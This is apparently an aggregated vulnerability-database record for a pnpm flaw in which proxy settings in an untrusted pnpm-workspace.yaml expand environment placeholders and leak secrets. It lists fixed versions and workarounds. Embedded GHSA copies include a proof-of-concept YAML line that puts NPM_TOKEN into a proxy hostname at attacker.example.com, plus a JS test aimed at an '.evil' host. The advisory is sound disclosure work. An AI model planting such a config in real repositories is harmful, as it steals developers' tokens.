{"id":"CVE-2026-101043","aliases":["EUVD-2026-87974","GHSA-49pq-2gf3-jw76","GHSA-vx52-2968-3vc6"],"status":"published","title":"pnpm 11.0.0 before 11.11.0 Environment Variable Exfiltration via Proxy Settings","description":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.","severity":{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00285,"percentile":0.21172,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-201","CWE-319","CWE-522"],"published":"2026-09-01T19:22:42Z","modified":"2026-10-28T02:30:46Z","fixes":[{"ecosystem":"npm","package":"pnpm","fixed_in":["11.11.0","10.34.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0"},{"fixed":"11.11.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0"},{"fixed":"10.34.5"}]}]},{"source":"osv","ecosystem":"npm","package":"pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"11.0.0"},{"fixed":"11.11.0"}]}]},{"source":"osv","ecosystem":"npm","package":"pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"10.7.0"},{"fixed":"10.34.5"}]}]}],"products":[{"vendor":"pnpm","product":"pnpm"}],"references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101043","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-49pq-2gf3-jw76"},{"url":"https://github.com/pnpm/pnpm/pull/12871","tags":["web"]},{"url":"https://github.com/pnpm/pnpm/pull/12898","tags":["web"]},{"url":"https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8","tags":["web"]},{"url":"https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba","tags":["web"]},{"url":"https://github.com/orgs/pnpm/discussions/13598","tags":["web"]},{"url":"https://github.com/pnpm/pnpm/releases/tag/v10.34.5","tags":["web"]},{"url":"https://github.com/pnpm/pnpm/releases/tag/v11.11.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-vx52-2968-3vc6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101043.json","tags":["advisory"]},{"url":"https://github.com/pnpm/pnpm","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-101043","title":"pnpm 11.0.0 before 11.11.0 Environment Variable Exfiltration via Proxy Settings","description":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.","status":"published","published":"2026-09-27T17:02:33.119Z","modified":"2026-09-30T15:47:12.588Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T14:20:09.808851Z"}],"euvd":[{"id":"EUVD-2026-87974","description":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.","status":"published","published":"2026-09-27T17:02:33Z","modified":"2026-09-30T15:47:12Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:48.536397Z"}],"ghsa":[{"id":"GHSA-49pq-2gf3-jw76","title":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable...","description":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.","status":"published","published":"2026-09-27T18:30:22Z","modified":"2026-09-27T18:30:34Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T15:12:31.359269Z"},{"id":"GHSA-vx52-2968-3vc6","title":"pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml","description":"## Summary\n\npnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.\n\nThis bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.\n\n## Impact\n\nAn attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.\n\nThis turns \"I can author a project manifest\" into \"I read the victim's environment secrets.\"\n\n## Affected versions\n\nIntroduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.\n\n- pnpm 11.x: `\u003e= 11.0.0, \u003c 11.11.0`\n- pnpm 10.x: `\u003e= 10.7.0, \u003c 10.34.5`\n\nThe Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.\n\n## Patches\n\n- **pnpm 11.11.0** and later\n- **pnpm 10.34.5** and later\n\nThe fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys.\n\n## Workarounds\n\nUpgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing.\n\n## Proof of concept\n\n```yaml\n# pnpm-workspace.yaml in an untrusted repository\npackages:\n  - .\nhttpsProxy: \"http://${NPM_TOKEN}.collector.attacker.example.com:8080\"\n```\n\nWith `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.\n\nUnit level:\n\n```js\nprocess.env.PNPM_TEST_TOKEN = 'secret'\nconst o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })\n// Vulnerable: o.httpsProxy === 'http://secret.evil/'\n// Patched:    o.httpsProxy === undefined\n```\n\nUsing `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.\n\n## Credit\n\nReported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -\u003e `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.","status":"published","published":"2026-09-01T19:22:42Z","modified":"2026-09-01T19:22:43Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-201","CWE-319","CWE-522"],"updated_at":"2026-11-02T14:41:08.980668Z"}],"nvd":[{"id":"CVE-2026-101043","description":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.","status":"published","published":"2026-09-27T18:16:29.7Z","modified":"2026-09-30T17:23:08.953Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-101043","title":"pnpm 11.0.0 before 11.11.0 Environment Variable Exfiltration via Proxy Settings","description":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.","status":"published","published":"2026-09-27T17:02:33.119Z","modified":"2026-10-28T02:30:46.194896755Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-vx52-2968-3vc6","title":"pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml","description":"## Summary\n\npnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.\n\nThis bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.\n\n## Impact\n\nAn attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.\n\nThis turns \"I can author a project manifest\" into \"I read the victim's environment secrets.\"\n\n## Affected versions\n\nIntroduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.\n\n- pnpm 11.x: `\u003e= 11.0.0, \u003c 11.11.0`\n- pnpm 10.x: `\u003e= 10.7.0, \u003c 10.34.5`\n\nThe Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.\n\n## Patches\n\n- **pnpm 11.11.0** and later\n- **pnpm 10.34.5** and later\n\nThe fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys.\n\n## Workarounds\n\nUpgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing.\n\n## Proof of concept\n\n```yaml\n# pnpm-workspace.yaml in an untrusted repository\npackages:\n  - .\nhttpsProxy: \"http://${NPM_TOKEN}.collector.attacker.example.com:8080\"\n```\n\nWith `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.\n\nUnit level:\n\n```js\nprocess.env.PNPM_TEST_TOKEN = 'secret'\nconst o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })\n// Vulnerable: o.httpsProxy === 'http://secret.evil/'\n// Patched:    o.httpsProxy === undefined\n```\n\nUsing `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.\n\n## Credit\n\nReported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -\u003e `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.","status":"published","published":"2026-09-01T19:22:42Z","modified":"2026-09-28T03:55:58.18215377Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-201","CWE-319","CWE-522"],"updated_at":"2026-11-02T15:46:57.694388Z"}]}}